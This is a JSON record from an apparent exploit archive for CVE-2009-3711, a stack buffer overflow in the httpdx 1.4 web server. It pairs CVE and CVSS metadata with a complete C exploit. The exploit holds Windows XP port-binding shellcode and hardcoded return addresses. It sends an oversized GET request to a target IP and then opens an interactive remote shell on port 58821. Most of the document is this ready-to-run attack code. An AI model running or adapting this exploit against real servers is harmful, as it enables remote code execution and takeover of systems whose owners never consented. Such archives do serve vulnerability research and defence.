{"exploit":{"id":"EDB-10053","name":"httpdx 1.4 - GET Buffer Overflow","description":"httpdx 1.4 - GET Buffer Overflow","cves":["CVE-2009-3711"],"author":"Pankaj Kohli","published":"2009-10-08","platform":"windows","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/10053","path":"exploits/windows/remote/10053.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-10053.txt","vulnerabilities":[{"id":"CVE-2009-3711","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the h_handlepeer function in http.cpp in httpdx 1.4, and possibly 1.4.3, allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3711","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3711"},"updatedAt":"2024-08-07T06:38:30.351Z","retrievedAt":"2026-11-27T05:10:00.688Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-10053.png?v=2","url":"https://exploitbin.com/exploits/EDB-10053","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-10053/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-10053/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...\nThe vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);\n\nOther versions may also be vulnerable.\n\nExploit (0day) (Tested with httpdx 1.4 on WinXP SP3)\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <error.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <netdb.h>\n#include <fcntl.h>\n#include <unistd.h>\n#include <string.h>\n\n/* 128 byte portbinding shellcode (for WinXP SP3) port 58821\n   Derived from shellcode written by silicon */\nunsigned char bindcode[] =\n\"\\x89\\xE5\"\n\"\\x83\\xC4\\xEC\\x33\\xC0\\x50\\x50\\x50\\x6A\\x06\"\n\"\\x6A\\x01\\x6A\\x02\\xB8\"\n\"\\x6A\\x8B\\xAB\\x71\" // WSASocketA()\n\"\\xFF\\xD0\\x8B\\xD8\\x33\\xC0\\x89\\x45\\xF4\\xB0\"\n\"\\x02\\x66\\x89\\x45\\xF0\\x66\\xC7\\x45\\xF2\\xE5\"\n\"\\xC5\\x6A\\x10\\x8D\\x55\\xF0\\x52\\x53\\xB8\"\n\"\\x80\\x44\\xAB\\x71\" // bind()\n\"\\xFF\\xD0\\x6A\\x01\\x53\\xB8\"\n\"\\xD3\\x8C\\xAB\\x71\" // listen()\n\"\\xFF\\xD0\\x33\\xC0\\x50\\x50\\x53\\xB8\"\n\"\\x40\\x10\\xAC\\x71\" // accept()\n\"\\xFF\\xD0\\x8B\\xD8\\xBA\"\n\"\\x7B\\xD3\\x81\\x7C\" // SetStdHandle()\n\"\\x53\\x6A\\xF6\\xFF\\xD2\\x53\\x6A\\xF5\\xFF\\xD2\"\n\"\\x53\\x6A\\xF4\\xFF\\xD2\\xC7\\x45\\xFB\\x41\\x63\"\n\"\\x6D\\x64\\x8D\\x45\\xFC\\x50\\xB8\"\n\"\\xC7\\x93\\xC2\\x77\" // system()\n\"\\xFF\\xD0\"\n\"\\x31\\xC0\\x50\\xB8\"\n\"\\x12\\xCB\\x81\\x7C\" // ExitProcess()\n\"\\xFF\\xD0\";\n\n\n/* ripped from TESO code */\nvoid shell (int sock)\n{\n        int     l;\n        char    buf[512];\n        fd_set  rfds;\n\n\n        while (1) {\n                FD_SET (0, &rfds);\n                FD_SET (sock, &rfds);\n\n                select (sock + 1, &rfds, NULL, NULL, NULL);\n                if (FD_ISSET (0, &rfds)) {\n                        l = read (0, buf, sizeof (buf));\n                        if (l <= 0) {\n                                printf(\"\\n - Connection closed by local user\\n\");\n                                exit (EXIT_FAILURE);\n                        }\n                        write (sock, buf, l);\n                }\n\n                if (FD_ISSET (sock, &rfds)) {\n                        l = read (sock, buf, sizeof (buf));\n                        if (l == 0) {\n                                printf (\"\\n - Connection closed by remote host.\\n\");\n                                exit (EXIT_FAILURE);\n                        } else if (l < 0) {\n                                printf (\"\\n - Read failure\\n\");\n                                exit (EXIT_FAILURE);\n                        }\n                        write (1, buf, l);\n                }\n        }\n}\n\n\nint main(int argc, char **argv)\n{\n\tchar buff[1100];\n\tlong ret1 = 0x64f8134b;\t// pop ret (core.dll)\n\tlong addr = 0x63b8624f;\t// Required to reach ret instruction\n\tlong ret2 = 0x7c874413;\t// jmp esp (kernel32.dll)\n\tlong *ptr;\n\tstruct sockaddr_in target;\n\tint i, port, sock;\n\n\n\tprintf(\"\\n---------------------------------------------------------------------\\n\");\n\tprintf(\"  [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit (0day) \\n\");\n\tprintf(\"  [*] Written and discovered by Pankaj Kohli <http://www.pank4j.com> \\n\");\n\tprintf(\"  [*] Tested with httpdx 1.4 on Windows XP SP3 \\n\\n\");\n\n\tif(argc < 3)\n\t{\n        \tprintf(\"[-] Usage: %s  <Target IP> <Port>\\n\\n\", argv[0]);\n        \texit(1);\n\t}\n\n\tport = atoi(argv[2]);\n\tprintf(\"[+] Creating payload \\n\");\n\n\tmemset(buff, 0, 1024);\n\tstrcpy(buff, \"GET /abc=\");\n        memset(buff+9, 'A', 616);\n        ptr = (long *) (buff + 625);\n        *ptr = ret1;\n        ptr++;\n        *ptr = addr;\n        ptr++;\n        *ptr = ret2;\n        ptr++;\n        *ptr = 0;\n\tstrcat(buff, bindcode);\n\tmemset(buff+765, 'A', 244);\n\tbuff[1009] = 0;\n\tstrcat(buff, \" HTTP/1.1\\r\\nHost: 192.168.2.1\\r\\n\\r\\n\");\n\n\tprintf(\"[+] Connecting to %s on port %s \\n\", argv[1], argv[2]);\n\ttarget.sin_family = AF_INET;\n\ttarget.sin_addr.s_addr = inet_addr(argv[1]);\n\ttarget.sin_port = htons(port);\n\n\tif((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n\t{\n\t\tperror(\"[-] Socket \\n\");\n\t\treturn(1);\n\t}\n\n\tif(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)\n\t{\n\t\tperror(\"[-] Connect \\n\");\n\t\treturn(1);\n\t}\n\n\tprintf(\"[+] Sending payload \\n\");\n\tif (send(sock, buff, strlen(buff), 0)== -1)\n\t{\n\t\tperror(\"[-] Send \\n\");\n\t\treturn(1);\n\t}\n\n\tclose(sock);\n\tsleep(1);\n\n\ttarget.sin_family = AF_INET;\n\ttarget.sin_addr.s_addr = inet_addr(argv[1]);\n\ttarget.sin_port = htons(58821);\n\n\tif((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)\n\t{\n\t\tperror(\"[-] Socket \\n\");\n\t\treturn(1);\n\t}\n\n\tif(connect(sock, (struct sockaddr *) &target, sizeof(target)) != 0)\n\t{\n\t\tprintf(\"[-] Exploit failed. \\n\");\n\t\treturn(1);\n\t}\n\n\tprintf(\"\\n[+] Dropping to shell \\n\\n\");\n\tshell(sock);\n\treturn 0;\n}","sha256":"e303b58049ff3c19a89b44ebb1e71d3464d9e43522da75e79db45c23efeefc0c","bytes":4686,"fetchedAt":"2026-11-27T05:09:58.561Z","encoding":"utf-8 (display only; download retains original bytes)"}